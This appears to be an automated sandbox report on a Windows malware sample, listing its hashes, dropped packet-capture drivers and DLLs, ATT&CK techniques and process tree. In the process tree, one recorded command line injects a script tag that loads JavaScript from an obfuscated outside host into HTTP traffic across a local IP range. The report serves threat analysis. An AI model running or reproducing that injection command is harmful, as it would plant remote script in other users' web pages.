30b6789a6a49c7b5a82d2c2ddf52d1c77ce50ce0b8b2568d4edde594e5d4652e

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
29/12/2023, 20:30

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General

Target

032d7cb609f83f27964560bebfc37a04.exe
Size

525KB
MD5

032d7cb609f83f27964560bebfc37a04
SHA1

c8aa87b6ba9d7d5432b6426b94d148e46b9073ac
SHA256

30b6789a6a49c7b5a82d2c2ddf52d1c77ce50ce0b8b2568d4edde594e5d4652e
SHA512

c8314ea1ee32dac8a2cd954792b1d69e0f4af7f8d98949544bbcba96685870045c51db2de81e05f7ceea1210f963a5ae87f5132df394003dc4231e75319e6e0f
SSDEEP

6144:wM8MSbxohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QOPoS:wHNx2E9/cZw/X6eSPtfS6G6aPoS

Score

8^/10

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	032d7cb609f83f27964560bebfc37a04.exe

Deletes itself 1 IoCs

pid	Process
2348	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2564	360uawm.exe

Loads dropped DLL 8 IoCs

pid	Process
2052	032d7cb609f83f27964560bebfc37a04.exe
2052	032d7cb609f83f27964560bebfc37a04.exe
2564	360uawm.exe
2564	360uawm.exe
2564	360uawm.exe
2564	360uawm.exe
2564	360uawm.exe
2564	360uawm.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\wpcap.dll	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\360uawm.exe	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\npptools.dll	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\Packet.dll	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	032d7cb609f83f27964560bebfc37a04.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1036	PING.EXE

Suspicious behavior: LoadsDriver 13 IoCs

pid	Process
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 2564	2052	032d7cb609f83f27964560bebfc37a04.exe	30
PID 2052 wrote to memory of 2564	2052	032d7cb609f83f27964560bebfc37a04.exe	30
PID 2052 wrote to memory of 2564	2052	032d7cb609f83f27964560bebfc37a04.exe	30
PID 2052 wrote to memory of 2564	2052	032d7cb609f83f27964560bebfc37a04.exe	30
PID 2052 wrote to memory of 2348	2052	032d7cb609f83f27964560bebfc37a04.exe	32
PID 2052 wrote to memory of 2348	2052	032d7cb609f83f27964560bebfc37a04.exe	32
PID 2052 wrote to memory of 2348	2052	032d7cb609f83f27964560bebfc37a04.exe	32
PID 2052 wrote to memory of 2348	2052	032d7cb609f83f27964560bebfc37a04.exe	32
PID 2348 wrote to memory of 1036	2348	cmd.exe	34
PID 2348 wrote to memory of 1036	2348	cmd.exe	34
PID 2348 wrote to memory of 1036	2348	cmd.exe	34
PID 2348 wrote to memory of 1036	2348	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\032d7cb609f83f27964560bebfc37a04.exe
"C:\Users\Admin\AppData\Local\Temp\032d7cb609f83f27964560bebfc37a04.exe"
1⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\SysWOW64\360uawm.exe
  -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://e%64a.P%61ss%69ngG%61s.n%65t/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 12.bat
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12.bat

Filesize
2KB

MD5
e28b0984987b3198b0ea88b1dff17589

SHA1
645973855c5ed1de7bfecc1f8dfa78d77bfd84fa

SHA256
1a13a98760406d0401b4d8b4262f47b4592bf29453abd68bed8a941052d795a2

SHA512
1e3816e034bb8b3cd495bac4037a56cb6b3b6b902c4a3754205499f1455db21b06fd86a0acc7ba44f39291f1790d7cc92602e64daa960c6fabb2d403778df528

Download Submit
C:\Windows\SysWOW64\360uawm.exe

Filesize
8.0MB

MD5
35d7e2fa6e9b564de6af2f8221ee5662

SHA1
17996eedbc331b4da56aa598b75ad7be7252b091

SHA256
935b6deaa64dea3edd2a237c2c1effbbce2b730025f79ddee1083a2228678294

SHA512
ade0e30cc55ba1c6b37fa9b268c5e4530d448723a80fd3c16673383be11fcf50204917222779a8924bdaa33b5514d02b32647ab7352cd4995c67f9ecd73d51e9

Download Submit
C:\Windows\SysWOW64\360uawm.exe

Filesize
7.7MB

MD5
236b9925a1b0197cc3ce3c68a3969908

SHA1
033d1b3e4050db94909cc318494bd875b6e6146e

SHA256
d5a5f85a520e94955cd8f7a0d8a7ebe3fb5210ee6403a03ca29085fd86806ed6

SHA512
95bddb88b98e914f2e02f76487b6306b45d696fc2b6082c20bcfadb815ff2588758e415a7bb4b492ab325d95646caa91bc9d957940b68d9881ec85ab626a29c3

Download Submit
C:\Windows\SysWOW64\NPPTools.dll

Filesize
53KB

MD5
841007a04750a9acb56dd82095300d15

SHA1
58c1e338bc78a54795a844b559b614004e53d3cb

SHA256
a15c409af481494fa8c3d82ec0dc7c67075a706160cc060bec982e40c060d578

SHA512
dcaeae21ffc2479fc595632a93e082396caea1eb6c4093e24c199a5ee3dd09248dfb5fe11ea200034e2be928b2db09218d9d763428294347ccd63f4cad4c06de

Download Submit
\Windows\SysWOW64\360uawm.exe

Filesize
6.2MB

MD5
69be6b247090edaaa40bdcb21e145444

SHA1
7397fe3bcba13a3593eedec76f8f263396a853af

SHA256
1217556c02e3c53b91965bd4ca878936ce836c4c9aa7de07f69b15ff430b3e2b

SHA512
40d86432571e78ed1fe27370d36896b644e1b7c0aaabadfcdd1e7cc89c38290726dc61a1c07217ce71519f5f5b81d76efc2bcfcf52528b109f9e1f653d805beb

Download Submit
\Windows\SysWOW64\Packet.dll

Filesize
86KB

MD5
9062aeea8cbfc4f0780bbbefad7cebcb

SHA1
c4ad39ec51ad0e84fe58f62931d13cddfde3189e

SHA256
b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

SHA512
60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

Download Submit
\Windows\SysWOW64\WanPacket.dll

Filesize
66KB

MD5
fdd104a9fd3427a1df37041fa947a041

SHA1
cca1881a3c02033008f78cc39b712b637c7f3e13

SHA256
384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

SHA512
9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

Download Submit
\Windows\SysWOW64\drivers\npf.sys

Filesize
41KB

MD5
b15e0180c43d8b5219196d76878cc2dd

SHA1
33e676b37a3380de32c10ba5bc9170997445d314

SHA256
a4a102aab8f91a5b452ae2c9a40f5ebc07bc62af892af57d6e3ad1f4340486ab

SHA512
47e0e66e89ad11506aff709e7cd5817f5b68bafd5fbc4cc4f4ba5b82b1845977023c90273c58d580266fc8fdcb7fd230ade9c31a8dcc8b9b6ca146423e848a09

Download Submit
\Windows\SysWOW64\wpcap.dll

Filesize
234KB

MD5
ce842d25e5b7e6ff21a86cad9195fbe8

SHA1
d762270be089a89266b012351b52c595e260b59b

SHA256
7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

SHA512
84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

Download Submit
memory/2052-16-0x0000000000230000-0x000000000023F000-memory.dmp

Filesize
60KB

Download
memory/2052-0-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2052-14-0x0000000000230000-0x000000000023F000-memory.dmp

Filesize
60KB

Download
memory/2052-4-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2564-22-0x0000000000220000-0x0000000000235000-memory.dmp

Filesize
84KB

Download
memory/2564-25-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

Download
memory/2564-31-0x0000000000280000-0x0000000000289000-memory.dmp

Filesize
36KB

Download
memory/2564-32-0x0000000000280000-0x0000000000289000-memory.dmp

Filesize
36KB

Download
memory/2564-33-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/2564-34-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/2564-17-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download